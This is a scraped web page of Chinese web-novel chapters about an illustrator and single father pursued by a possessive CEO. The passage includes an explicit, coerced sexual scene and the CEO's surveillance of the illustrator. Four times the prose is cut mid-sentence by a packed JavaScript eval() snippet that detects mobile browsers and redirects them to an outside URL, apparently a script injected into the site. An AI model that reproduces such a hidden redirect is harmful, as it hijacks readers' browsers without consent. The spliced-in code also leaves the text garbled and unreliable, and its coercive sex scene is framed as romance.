下面…… “没有、没有……”更加难堪羞耻了。 “真的没有吗?”男人握紧,“说实话。” “……” “嗯……嗯!……” 汗珠沿着苍白的脖颈往下淌,眼尾泛红,痛苦又不知所措的,被咬肿的唇瓣微微张开。 发出屈辱的应声…… 得到满意的答案,秦妄舔着他的脖颈,只松开一个小口,几乎是瞬间,温真便痉挛着哆嗦起来。 热流冲击着秦妄的手心,指缝很快被糊满了…… 17.第 17 章 一个小时后,马带着两个人回到原点。 常岩赶紧迎上去。 秦妄先下马,下来之后,他两手直接把温真从马上抱下来,温真挣动了一下就不动了。 把人从马上抱下来后,也没把人放在地上,而是抱小孩似的,小臂托住人家的臀部,另一只手扣住的后脑勺把人按在自己怀里。 可能是因为被他老板这样抱着,有些害羞,整个身体都在细细颤抖,耳朵和脖颈也是潮红的。 裤子…… 裤子怎么也湿了…… 难道第一次骑马过于害怕所以……尿了…… 这胆子也太小了吧。 常岩摇头笑了一声。 *** 浴室响起哗哗的水流。 男人在洗澡。 温真坐在昏暗的房间里。 ……湿掉的裤子被男人换掉了,可是男人粗糙手掌的触感仿佛还残留着,被紧紧握住的,泛起细细密密的刺痛,想到自己在马上那种样子,还被逼着承认……温真难堪地颤抖…… 察觉到男人快出来了,他立即起身出去,然而刚刚释放敏感极了,随着他走动摩擦着衣服,电流顺着他的尾椎骨一路往上蹿,温真猛地捂住嘴巴。 “……” 常岩把刚刚被他们骑过的马牵到马厩里,喂了草料和水,打算去看看小马驹,正好碰见温真出来。 换了干净的裤子,总是苍白的脸带着一丝潮红,头发分开,露出那双琥珀色的眸子,微微上挑着,尾部泛红…… 第一次见温真的时候,他觉得他就是一个木讷普通的男人,还纳闷老板为什么喜欢他。 可时间久了,越看越觉得他很有……味道…… 尤其是后面,那么圆翘,哪个正常的男人后面会是那样…… “秦宝章第一次骑马的时候,比你还害怕,还尿裤子了……”常岩绞尽脑汁地安慰他。 说完他便快速地离开了。 而温真过了一会儿才意识到他为什么会说这种话。 他刚刚看见……他裤子湿掉了。 他以为自己‘尿’裤子了。 那种样子都被看到了,温真羞耻极了。 原本还想着男人的伤没有好透,再多待一会儿,现在他拿了自己的电脑,没有和男人说便要离开。 还没出马场,迎面开进来一辆白色的小汽车。 温真让路。 车子却停在他旁边。 身穿旗袍的女人下了车,她耳朵、脖子、手腕、手指上都是绿油油的翡翠,就连盘起的发髻也插了一根翡翠的簪子。 脸庞圆润,神情和善。 这是男人的私人马场,能这样开车进来的,应该是秦妄的亲人,而且女人穿戴又很华贵,身份应该不简单。 温真垂眼,想赶紧离开。 女人却道:“等等。” 秦夫人打量着他,莫名有种直觉。 “你是不是有一个女儿?” 温真抬眼,有些紧张地盯着她。 “你别害怕,我没恶意,我只是想确认一些事情。” “你今年,27了是吗?” 看他的神情,秦夫人就知道自己猜对了。 她又仔仔细细打量起温真,穿着有些发旧的白衬衣,带着电脑,想来是个生活不太优渥的上班族,面对她时会不自在地垂眼,估计也不是火爆的性格。 如果真被秦妄胁迫了,大概也不敢反抗。 她叹口气,“秦妄他妈妈去世的早,他爸爸又忙,所以性格有点强硬……但他并不坏,要是他做了什么伤害你的事情,你可以随时联系我,我虽然是他的大嫂,但也不会包庇他。” *** 请假两天,堆积很多工作,加上《幽境》要开始正式连载了,温真忙得灵魂出窍,每天晚上都是十点钟关电脑回家。 即使这样,还要每天早上和晚上都给男人发短信。有时候男人还要他拍自己工作的照片给他看。 到了周五下班,温真把手头上的工作放下,去学校接女儿放学。 女儿和秦宝章一起出来,两个人说说笑笑,跟连体婴儿一样。 林老师就跟他们两人的后面。 林老师穿了一件藕粉色的连衣裙,头发没有扎,拢在两个耳朵后面,露出白净温柔的一张脸。 她冲温真笑了笑,“钰宁爸爸。” 温真耳朵发红,“林老师。” 付钰宁吸着温真给她买的棒棒冰,忽然问道:“林老师,你最近要搬家吗?” “是啊。想住得离学校近一点。” “你自己一个人可以吗?要不让我爸爸帮你吧?” “那多不好意思?”林老师笑。 其实她确实打算找人帮忙,她东西实在太多了。 “没关系的,林老师,你平常那么照顾我,我们帮你是应该的。”付钰宁道:“是吧,爸爸。” “嗯,嗯……”温真露出一个拘谨的笑容,“我周六周日都有空,可以帮你。” 秦宝章也立即附和道:“那我也要去。” 林老师也没有再客气,“那搬完我请你们吃饭。” “好耶。” 林老师原本住在一个旧的筒子楼里,房租便宜,里面的环境倒也不差,只是她最近回家的时候,总是看见有几个裸着肩膀的男人站在她家附近,出于安全起见,她决定搬到一个有门禁和保安的小区。 她住了五六年,杂七杂八的东西存了很多,扔掉一部分还有很大一部分,大件的东西可以找搬家公司,还有一些小件易碎的,她害怕磕碰,她本来打算自己搬过去。 现在有了温真和两个小孩帮忙,让她省了不少时间。 等把东西全部搬到新家里,正好到了饭点,林老师请他们到小区楼下的餐馆吃饭。 两个小孩吃饱后,头对头看iPad。 林老师和温真聊天。 “之前我和你说,钰宁欺负同学,其实是我错怪她了,钰宁没有做过这样的事情,是我们班里另一个女生,大概是看钰宁成绩比她好一点,所以有点……”林老师微微歉疚。 “事后,我也让那个女生和钰宁道歉了,钰宁很大度,没有责怪她。” 听到宁宁没有欺负同学,温真笑道:“宁宁,宁宁很乖的。” “不过上课玩手机是真的。不把手机给老师也是真的。”林老师又道。 “回去后我会和她讲。。” 看两个人玩得热火,没注意他们,林老师压低声音,“宁宁早恋的事情……” 温真握杯子的手开始颤抖。 他垂下眼睛,“你放心,已经没事,没事了。” 林老师拢了一下头发,又问,“我听宁宁说,有人给你介绍相亲对象?感觉怎么样?” “没有,没有,不要听宁宁乱说……”温真慌张解释。 “其实,这也不是坏事……”林老师柔声。 办公室里的老师和她说,温真可能喜欢她,其实她隐隐约约猜到了,办公室里的老师还说,像温真这样的男人不会有什么大本事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062515|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可是林老师觉得,他很好,很善良,也很温和,至少结婚之后,她不用担心自己会被家暴和出轨。 秦宝章和付钰宁正在玩保卫萝卜,萝卜被啃完死掉后,秦宝章忿忿抬起头。 然后便看见林老师支着头盯着宁宁的爸爸,而宁宁的爸爸有点紧张还有点羞涩的样子。 秦宝章微微一笑,露出了然的神情。 吃完饭,外面的星星都出来了,付钰宁和秦宝章还要去旁边的商场去买甜点吃,温真带着他们两个和林老师说再见。 买完甜点,温真又看着秦宝章上了家里的车,才带着女儿回家。 *** 晚上九点。 秦家客厅亮着灯,秦富威和秦妄面对面坐着,两人中间放了一盘棋。 温真走之后,秦妄也开始工作,一直忙了一周,本来还有一个会要开,结果秦舢打电话说秦富威心口不舒服,让他赶紧回来。 秦妄回来了,秦富威又说自己没事,让秦妄陪他下棋。 秦妄一点也不留情面地吃掉秦富威的将军。 秦富威吹胡子瞪眼。 “等等!我这步棋下错了!” “落子无悔。”秦妄淡道。 “爸,要不我来陪你下。”秦舢在一旁道。 秦富威不理他,又对秦妄道:“我这步下错了,我要重来。” 秦夫人在一旁笑,“爸爸就爱和秦妄下,你别掺和了。” 秦妄放松地靠着椅背,看小孩似的看着秦富威,看着他把自己的棋拿回去,重新下,秦妄走了两步,又吃掉他的将军。 秦舢叹气,“你就不会让让爸,他多大年纪了。” 这个时候秦宝章蹬蹬跑进来。 他一额头的汗,小脸红扑扑的,还有点兴奋。 “小叔回来啦?小叔,你身上的伤好了没有。”秦宝章乖巧地问。 “没事了。” “你为什么会受伤啊?” 秦夫人也留神听着,秦妄并不和他们说受伤的原因,但她直觉和那个男人有关系。 秦妄不说话。 秦夫人知道是问不出来了。 “今天怎么回来这么晚?”秦夫人问秦宝章。 “我和宁宁帮老师搬家了。”秦宝章笑嘻嘻,他和秦夫人什么都说,此刻小声道:“妈咪,你见过我们林老师吧?” “那个头发很长,很漂亮很温柔的女老师?” “对。” “宁宁的爸爸也去帮林老师搬家了,”秦宝章卖了一个关子,故意吊秦夫人的胃口。 秦夫人好奇看着他。 旁边正和秦富威的下棋的秦妄面容沉郁。 “林老师请我们吃饭,他们两个趁我和宁宁玩游戏的时候在说悄悄话。” “他们两个一定在一起了!”秦宝章兴奋。 “这次我赢了!”秦富威也高兴地喊道。 然而男人坐在那里,整张脸陷入阴影之中没有反应。 “宝章,事情没有确定之前,不能瞎说。”秦夫人语重心长。 “我没有瞎说,是真的。林老师虽然平时也很温柔,但对宁宁的爸爸是不一样的, 而且宁宁的爸爸面对林老师的时候一会儿耳朵红,一会儿脸红。” “就算他们没有在一起,也是互相喜欢的。” “好,好,他们互相喜欢。”秦夫人敷衍着,她看秦富威的茶杯空了,给他添茶水。 走过去却发现秦妄的黑沉的眼睛含着一丝阴翳。 她一惊。 18.第 18 章 周六帮林老师搬家,周日要送女儿去补习班,还想着这两天赶赶进度的温真完全没有时间打开电脑,等到周一坐到工位上便开始忙,几乎像是机器人一样除了吃饭和睡觉其余时间都是在工作。 这样转眼忙碌了一个月左右,《幽境》这个本子到了收尾阶段,同时预备在平台上连载。 后期工程大一点,石美青让阿美和另一个女生珍珍给温真打下手。 连载开始的前一天,三个人一夜没有回家,就在公司电脑前守着。 每一个本子开始在平台上发行,都是要找准时机的,本来他们连载的平台这个时间段正好没什么作品出来,这样即使《幽境》不爆,也能有点热度。 然而他们连载的那一天晚上艾玛带着他的新作品《明月今朝》空降。 艾玛十年前凭借《空无一人》开始火,后续又出了《连绵》等作品,长红了十年。 温真和阿美珍珍套着工作室的壳子,等于就是名不经传,和艾玛这样的大神对打,结果可想而知。 “完了,这也太倒霉了吧。” “怎么偏偏遇到大神啊。”珍珍丧气,“我们这个本子还能回本吗?订阅能超过一万吗?超过五千感觉就是谢天谢地了。” “别说丧气话。”阿美冷静,“我感觉温真画得挺好的,到时间不一定没有热度。” 阿美早前是艾玛的粉丝,从艾玛刚开始火的时便开始追更他的作品,但她进入这一行后发现,艾玛的作品优点很明显,缺点也很明显。 优点画风唯美,随便一截就可以当壁纸程度,缺点就是故事性不足,人物情感不够充沛。 其实漫画和小说是一样的,画风和文笔再华丽,但故事不够吸引人,人物没办法让观众共情,都没办法走得长久。 “等等看吧,别对手还没出招,自己先把自己吓死了。”阿美安慰珍珍。 “珍珍别担心,阿美说得没错。”温真柔声。 动笔的时候温真经常性地焦虑痛苦,甚至内耗严重到自己根本不适合这一行,现在完成了,他反而轻松许多,这是他这么多年倾注心血最多的一本,也是他画风稳定后更具有个人特色的一本,同时也是自己最喜欢的一本。 他已经尽自己最大努力了。 石美青估计怕他们三个没士气,特意把他们三个叫道办公室里话里话外地安慰他们,还给他们批了一笔钱让他们晚上好好吃一顿。 又过了一个星期,《幽境》赶在国庆节前收尾工作彻底结束。 阿美伸了一个懒腰,“等国庆节我一定要昏睡个三天三夜。” “我也是,还要大吃垃圾食品。” “温工,你呢?国庆节什么安排。” 温真弯起眼睛,神情柔和,“陪我女儿。” 石美青是个有人情味的老板,看他们三个这段时间累得不行,便让他们提前半天放假。 温真先去大商超买了许多食物,在家先帮鱼和螃蟹处理好,放在锅里蒸和炖,又发酵一些面团,做了女儿最爱吃的黄油面包。 然后去接女儿放学。 因为要放一些长假,放学出来的学生们都肉眼可见的兴奋,追逐打闹,大声讨论着七天要去什么地方玩。 “宁宁,我们去参加漫展吧。”陈垚邀请付钰宁。 “可是我没有衣服装扮啊。”付钰宁有点动心。 “穿自己的衣服也可以去参加,再者我也能借给你。我好多衣服。”陈垚道:“总有一件你能穿的。” 秦宝章在一旁听见了,“我也要去!” “我有衣服穿!” 陈垚抱臂,“我可没有问你。” “漫展又不是你家开的,我就要去。”秦宝章气愤,“你为什么总是针对我!” 付钰宁叹气,“好了,咱们三个一起去。” 原本还想问女儿要去哪里玩的温真,听到温真要和朋友一起去漫展,他眼睛温柔地弯起来,“好啊。” 听地方有些远,温真又开始担心:“那到时候爸爸送你们一起去好吗?” 付钰宁本来不想让他去的,可是又怕他胡思乱想,“嗯。” 到了参加的那一天,温真借了王奶奶孙子的汽车,先送女儿去陈垚家换衣服。 因为是两个小女生,温真没有上去,就在楼下等她们。 大概一个小时后,两个人换好衣服下来,陈垚cosplay是一个小狐狸,女儿cosplay的应该是个小兔子,头上有两个长长的耳朵。 两个女生在后座上对着手机不停地拍照。 温真时而从后视镜里看他们一眼,情不自禁露出笑容。 车子开了一个半小时才到地方,办漫展的地方是泾市的会展中心,赶上假期,人很多,到处都是穿着奇装异服的孩子,温真让她们先下去,他去找地方停车。 停车出来正好碰见林云。 林老师身后跟着一个只有六岁大的小男孩,他穿着黑白斑点的连体衣,头上带着两个牛角。 那双和林老师一模一样的眼睛圆圆的,骨碌碌地转。 单肩包的带子长长的,滑落到小臂,黑色的头皮也从耳后散开,林老师一边牵住孩童的手,一边把单肩包拉回到肩膀,然后把头发拢到耳后,冲温真笑。 “钰宁爸爸,真巧,你是陪钰宁来参加漫展的吗?” 温真:“嗯,嗯,这个孩子……” “是我儿子,之前一直跟着前夫,最近前夫……进去了……现在我来照顾他。” 说完,林老师抿了一下唇,她没想到会在这里碰见温真,一个离过婚的女人,还有可能进入一段婚姻。 可一个离婚还带着孩子的女人,难度便大了很多。 也许温真会因此…… 温真似乎并不在意,他弯下腰,轻声道:“上面有两个姐姐cosplay的是小狐狸和小兔子,我们一起去找她们好吗?” 秦宝章也和付钰宁会和了,秦宝章cosplay的是最新动漫里的人气非常高的男角色,带了一顶竖着呆毛的黑色假发,穿着贵族学院的制度。 这是他第一次玩这种东西,秦宝章特地让他爸爸买了一台相机,打算和宁宁多拍几张。 他远远地看见温真和林云走过来,两个人都面带微笑,最重要的是中间有一个小孩。 秦宝章鬼使神差地举起相机,按下快门。 三个高中生都没有想到自己的老师还有一个孩子,而且还带着孩子一起参加漫展,本来他们就很喜欢林云,爱屋及乌也很喜欢她的孩子。 原本是陈垚和付钰宁牵着小孩的手,没一会儿秦宝章把陈垚挤到一边去,成了他和付钰宁牵着小孩子的手,还让陈垚给他们三个拍照。 陈垚没好气地按下快门。 “林老师我们带着庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080919|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆去集邮。” “好啊。”林云笑。 “宁宁,你们照顾好弟弟,不要让他乱跑,知道了吗?”温真担忧地嘱咐。 “知道了,爸爸。” “一定,一定要照顾好弟弟。”温真还是不放心地盯着四个孩子的背影看,等人不见了,温真回过头,就见林云拿着一杯咖啡笑着看他。 温真不自在起来。 他们玩够回来,温真和林云打算带他们去附近的商场吃饭。 秦宝章忽然提议道:“我们拍些照片吧。” 秦宝章先让温真和林云站在一起,然后又让付钰宁和庆庆站在大人的前面。 爸爸温柔,妈妈美丽,孩子乖巧,拍好的照片完全是幸福的四口之家。 等给他们拍完,秦宝章把自己的相机给路人,让对方再给他们拍一张大合照。 最后又拍了无数张他和宁宁照片才结束。 吃完饭几个人分头告别,秦宝章坐在家里的车上,把相机里的照片导到手机,先在朋友圈发了九宫格付钰宁的照片,再发九宫格他和付钰宁的合照,最后发和付钰宁一起集邮的照片。 九张中附带一张温真和林云带着两个孩子的合照。 朋友圈发完,他又把照片发到他们家群里。 群里他重点发了林云和温真带着小孩的照片。 -@妈咪他们一定在一起了! 秦家,秦夫人正在插花,是陈家送来的,听说是稀有品种的玫瑰。 桌子上的手机不停震动,一打开跳出一百多条短信,秦夫人吓了一跳,点开他们家族群,引入眼帘地就是一男一女牵着一个小孩的照片。 秦夫人点开,女人她见过,男人……她也见过。 她脸色微微一变,立即回消息。 -宝章,快把照片撤回。 然而晚了,远在海外的秦妄已经点开了照片。 秦氏集团主营便是重工业,然而这几年工厂已经陆陆续续搬迁到海外,新建的工厂因为出现问题,闹出了大乱子。 点开照片之前秦妄刚和这边的负责人商讨完后续如何解决,此刻他回到酒店总统套房里。 事情也算是圆满解决了,赵程神情轻松走进来,笑道:“我刚才在朋友圈看见温先生带着女儿一起去参加什么活动了,他女儿头上还戴着兔耳朵,很可爱。” 他是石美青接管温真公司时加的温真的联系方式,这是第一次见他发动态,赵程很捧场地点了一个赞,他知道秦妄忙,不怎么看手机,便特意提醒他。 秦妄翻自己的手机,一路翻到七天前,并没有看到温真的任何动态。 秦妄绷紧下颚,返回时,又看见他们家族的群有消息,顺势点了进去。 先是看见秦夫人那句‘宝章,把照片撤回去。’ 然后是那张秦夫人让秦宝章撤回去的照片。 旁边便是他们新建的工厂,巨大的机器轰鸣着,山林吞噬掉橘红色的太阳,房间几乎是一瞬暗下来。 男人抽出一根烟,放在嘴里,拢火点燃。 秦妄把手机放在桌子上,“像不像一家四口。” 赵程瞥了一眼,心中警铃大作,什么话也没敢说。 烟从那两根长得吓人的指头中滑落,男人起身,斜斜投下一道沉郁的影子。 男人踩灭地上的火星。 “定晚上的机票。” 19.第 19 章 “钰宁爸爸,宁宁说你喜欢我,这是真的吗?”穿白色连衣裙的女人笑着问。 温真羞起来,“没有,没有,你不要听宁宁乱说……” “原来是乱说……但我很喜欢钰宁爸爸你……” “你带一个女儿,我带一个儿子,我们在一起很合适,不是吗?” 白净温柔的脸庞,长长的头发垂落在肩膀上,那么温柔地盯着温真。 “我们在一起好吗?” 在一起…… 温真脸颊慢慢泛红。 暖融融的光线,两人的手一点一点靠近,林云的手白皙的,指甲圆润,握住的时候,温真心徒然停顿后又狂跳起来…… 可并没有想象中的柔软,反而很冰凉,骨节凸起,更像是…… 温真不安起来,去看那只手。 手背青筋虬结,从下面插进他指缝的指头几乎是畸形的长度…… 温真心跳更快了,视线缓缓上移,然后便看见那张英俊阴鸷的脸似笑非笑地望着他…… 温真惊醒过来…… 冷汗滴落,心脏像是要跳出来了,咚咚撞击着胸腔…… 想到梦中男人阴鸷的脸,温真打开手机,他和男人的聊天停留在国庆前…… 他听秦宝章说男人去了海外,似乎要在那里待一阵子…… 温真莫名有些不安。 *** 国庆上班第一天,温真被石美青叫到办公室。 “过两天要岛城举办画家大会,我把《幽境》这个本子交上去了。” “交,交上去了……”温真紧张起来。 岛城每隔3年便会举办一次画家大会,会对评选出优秀的作品进行颁奖,对他们业内来说是一个有分量奖项。 温真不是没有想过去参加,可又知道自己的能力尚有不足。 参加的大多都是很有名气的作者,自己的东西和他们比……到时候也许会沦为笑话…… “你别怀疑自己的能力,也别想太多。”石美青笑,“就当是试试,就算选不上对我们也没有坏处,说不定还能增加一些知名度。” “大会上不论是裁判还是嘉宾都是你的前辈或者很有想法思考的年轻人,就算没拿奖,去和他们交流也不是什么坏事。” “而且,岛城是个沿海的旅游城市,这个大会要办三天,到时候阿美和珍珍一起去,我们可以趁着空闲时间在周围转一转。” 大会开始前一天,他们下午出发,晚上落地。 大会举办地点是岛城最豪华的酒店,一望无际的草坪上矗立着一栋白金色宛如城堡的建筑。 “这也太豪华了吧。”阿美感叹道。 石美青回复完消息,开口,“你们知道我们公司现在归秦氏集团了吧。” “这是真的?”阿美道:“我是听说了,但感觉不太相信,我们公司的业务和秦氏集团做的业务完全是两个极端。” “当然是真的,”石美青笑,“是不是温工?” 此刻他们坐在去酒店房间的观光车上,这所豪华的酒店占地面积大到即使去房间还要酒店专用的观光车。 原本正在看四周风景,好为以后的创作累积素材的温真忽然垂下眼睛,睫毛小幅度地颤动着。 “嗯,嗯……” “这所酒店也是秦氏集团的产业。” “那我们能在这里见到秦总吗?”珍珍期待地问,“听说我们的总裁很年轻,又很英俊,个子都有一米九多。” “你就算是去秦氏办公大楼也不一定能碰见秦总啊。”石美青无奈地笑。 “不过说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091428|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定,秦总去海外这么长时间,回来也许会到这里……” 石美青若有所思地看温真一眼。 “嘭”,手机掉在车上,温真一副慌张极了的样子去捡。 等再把手机拿在手里,指肚因为攥得过紧成了白色。 完全没了刚才的轻松。 他们四个人一人一间房,在自己房间里收拾好之后,阿美和珍珍便急着去外面转转,石美青到了外地还要处理工作,不和他们一起去,便又去找温真。 温真心不在焉,“我,有点累了,你们去吧。” 等她们两个一走,温真坐在酒店的房间里,盯着手机看。 前段时间太忙了,要和男人发早安晚安的事情他总是忘记,不过每次发男人都会回复,甚至会直接一个电话打过来,还要和他开视频。 过了国庆节后,他开始每天都给男人发,男人却不回复他了,也没有给他打过电话…… 像是从他人生中彻底消失了,明明应该感到轻松的,可是温真想到那个噩梦,总是有点不安…… 而且,那天从马场离开后,两人再也没有见过面,温真不知道他的伤好透了没有……去那么远的地方会不会不舒服…… 与此同时,坐了一天一夜飞机的男人落地泾市。 路明远接机,远远看见男人带着赵程从出口走过来。 男人衣衫规整,头发一丝不苟往后梳去,露出那张目深鼻高,压迫感极强同时又异常英俊的脸。 “秦总。”路明远恭敬道。 他正准备询问那边的情况怎么样,然而却对上男人黑沉的双目,他一惊,后面的话不敢再问,而是偷偷看了身后的赵程一眼,赵程朝他使了一个眼色。 他硬着头皮,汇报温真的行踪,“温先生下午刚去岛城。” 20.第 20 章 作者大会举办两天,第一天是开幕式,一天的文娱表演,阿美和珍珍去看了。 温真在酒店外面采风,下午温真刚回来,石美青便敲了他酒店的门。 她上下打量了一番温真,看他还是一副平常上班时候的装扮,叹气,“你带西装了吗?” “没有,没有……”这样被打量,温真有些不自在。 “我现在让人送来几套。” 石美青一向认为衣服是人的脸面,人和人刚认识没办法了解内在,只能通过外在和着装来评断对方。 在她心里温真当然是个很有能力的画家,可是再有能力穿着这样朴素不起眼的衣服大概率也会被轻视。 她下了血本,让人送来的是外国一个知名品牌的西装。 挑选的时候她叫来阿美和阿珍。 最后选中一件黑色的西服让温真换上。 “其实我觉得温工身材挺好的……”趁着温真换衣服的时候三个女人聊天。 “长得也很清俊啊……”阿美也道。 有时候画的男性人物她都是根据温真的脸型和五官来画的。 石美青含笑听着,当然不会差,不然也不会被…… 温真好一会才出来。 阿美和珍珍半晌没说话,就连石美青也愣神了一会儿。 衣服贵有贵的道理,没有一丝多余布料和线头,那么轻盈地勾勒出他的身材,让他看起来更加修长了一些…… 扣子保守地扣到第一颗,领带也系得紧紧的,昂贵的布料让那张清俊的脸从木讷成了禁欲的贞静…… 顶着这样一张脸,身材又是…… 平常总是宽松的白衬衣,脊背也总是弯着,而此刻胸口被束缚着挺高,微妙的弧度,软润地撑开衬衣……裤子也过于合身,两瓣被布料紧紧拢在一起,更加浑圆饱满……偏偏又被西装下摆半遮半掩遮住…… 这也太…… 阿美和珍珍对视一眼…… 石美青咳一声,“好了,就这套吧。” 接着她们三个各自回房间换自己穿的礼服,剩温真一个人在房间。 他站在镜子前局促的打量自己,穿这样紧身的衣服才终于确定自己真的是胖了一些。 胖的又是那种令人难为情的地方…… 而且刚才穿衬衣的时候温真发现自己的肚子从肋骨下面凸出一个很圆润的弧度,比他前几天看的时候还要大了一些…… 外套虽然盖住了一些,可如果注意看,还是能看出来肚子鼓出一个小小的圆包…… 明明这几天他都没有胃口,为什么还会胖这么多…… 想到要这样打扮去参加酒会,温真便不自在起来,不过幸好……那个男人不会看见他这个样子。 如果被他看见……一定会羞辱他,温真难堪地想, 随即又回忆起那天在马上发生的事情,温真轻轻地颤抖起来…… 这个时候林云忽然给他发来的短信。 -我看你朋友圈发的要来岛城参加画家大会是吗? -我们学校正好组织了几个老师来这边听讲座,晚上有空余时间,我能去看看吗? -如果不方便的话就算了。 最后林云附上了一个微笑的表情包。 -方便,方便的。 -嘉宾可以带朋友的。 -好,那你给我发个位置,我打车过去。 温真定位发给他。 然后温真到酒店门口等她,半个小时候林云从出租车下来,她穿了一件桃粉色的吊带连衣裙,黑色的长发披散在裸露的肩膀上,这样的颜色让她的脸庞看起来很粉润…… 林云看见温真也微微一愣,她从来没有见过温真这样的打扮,忽然便想起来无意间浏览过的, 熟透的男人被领带绑住手腕,被迫袒露着,满脸都是红晕的样子…… 她拢了拢头发,“这样不会麻烦你吧?因为要在这里待几天,没什么朋友,对这里也不太熟悉……” “不会,不会的……”温真连忙道。 温真带着她进去和石美青他们汇合,也许因为都是女人,所以她们很快便熟络起来。 酒会开始,他们陆陆续续进场。 红地毯,垒高的高脚杯,拥簇的鲜花,被明晃晃的水晶灯映射的富丽堂皇,身穿西服的青年才俊和身穿晚礼服的优雅女士陆续进场。 石美青看见几个熟人,和他们告别,临走之前还嘱咐他们别喝多了。 珍珍和阿美拿着相机拍照,温真和林云在一旁看着。 四个人时而说说笑笑。 这个时候门口忽然一阵骚动,一些穿西装的男人和女人涌过去。 不知道是谁喊着,“那不是秦氏集团的秦总吗?” “他怎么会来这里?” 珍珍和阿美也不拍照了,往门口那里看,“谁啊?是谁来了?明星吗?这么大阵仗?” 温真却隐隐听见一个‘秦’字,原本血色正常的脸忽然白了一些,可又觉得是自己听错了。 男人明明还在海外,即使回来了,也要先回泾市,怎么可能出现在这里…… 当啷—— 温真回神。 林云的手链从她脚边滚到温真的脚边,温真帮他捡起来。 林云说了声谢谢,打算重新戴上,然而锁扣那里一直扣不上,只好歉意地向温真求助。 “你能不能帮我一下?” 这个时候簇拥在门口的人缓缓后退,男人进入酒会。 那是个异常高大的男人,身高达到了一米九,宽肩窄臀,穿着西装三件套,外披一件黑色风衣,更显得气势逼人,凹陷在眼窝里的阴鸷双眼在酒会上缓缓扫了一圈,然后停在酒会正中央的花丛旁边。 那里站着一男一女,男的清俊,女的漂亮,男人正在帮女人戴手链,明晃晃的水晶灯下将男人的泛红的耳朵照得一清二楚。 路明远和赵程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112116|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都跟来了,看到这一幕,冷汗流个不停。 石美青也在簇拥的人群当中,她顺着男人的目光看去,心中大惊,赶紧回去找温真。 大概是为了精致,所以锁扣做的很小,温真扣了几次才帮她扣好……扣好后才发现两个人离得很近,他无措地与林云拉开距离。 他刚站好,一股莫名的悚然从他尾椎骨一路蹿到后脑勺,温真不安地颤抖起来…… ……背后好像有人在盯着他…… 渗入到毛孔里湿黏和森然……一寸一寸刮过他的肌肤…… 这种凝视目光……只有……温真紧紧咬唇,因为过于恐惧,身上的汗毛都竖起来…… 颤抖地转身。 隔着人头攒攒,正对上男人阴鸷的目光。 温真的脸瞬间惨白。 “秦总,真是怠慢了,怎么不提前招呼一声……”作者大会主办方王会国弯着腰伸手,那么恭敬低下的姿态。 “我们去办公室聊吧,这里人太多了。”王会国身边的助理也谄媚极了。 没多久男人带着两个助理便离开了。 “温真,你没事吧?” 林云眼睁睁看着温真的脸变得惨白,肩膀很轻地颤抖。 那是人在惊恐下的反应。 是看见那个被人群簇拥着的男人后才变成这样的,林云思考。 石美青走到温真面前,“秦总来了。他也没有提前告诉你?” 她本来想拍拍温真的肩膀安慰他的,但反应极快的止住了,想到刚才男人身上的寒气和阴鸷的目光,石美青也心有余悸。 问完之后又觉得这是个显而易见,如果提前告诉温真会来,温真此刻也不是现在这副样子…… 典礼快要开始了,嘉宾开始找位置坐,温真是参赛者,位置在前面一点,林云是来找他的,温真没办法丢下她一个人,便让她和自己一起坐。 “温真,你真的没事吗?” 温真挤出一个笑容。 “没事,没事……” 他看见男人和大会王会国离开了,他来这里应该是为了工作,和他没关系…… 温真右手边的位置还空着,没一会儿坐下一个男生,看起来和自己一样是参赛的。 男生刚坐好没多久,一个带对讲机的男人过来对那个男生说,“不好意思,这个位置已经有人了,麻烦你换个位置吧。” “我刚才坐的时候没人啊,这种场合还要占位吗?” “不好意思。” 男生没办法,只好起身。 “谢谢您的配合。” 接着带对讲机的男人冲温真微微一笑。 温真不安地移开目光。 明明说已经有人了,可过去很久位置还空着,温真越来越不安…… 口袋里的手机猛地震动,温真惊颤了一下,慌忙掏出来。 是一条短信。 只有两个字。 -走廊。 21.第 21 章 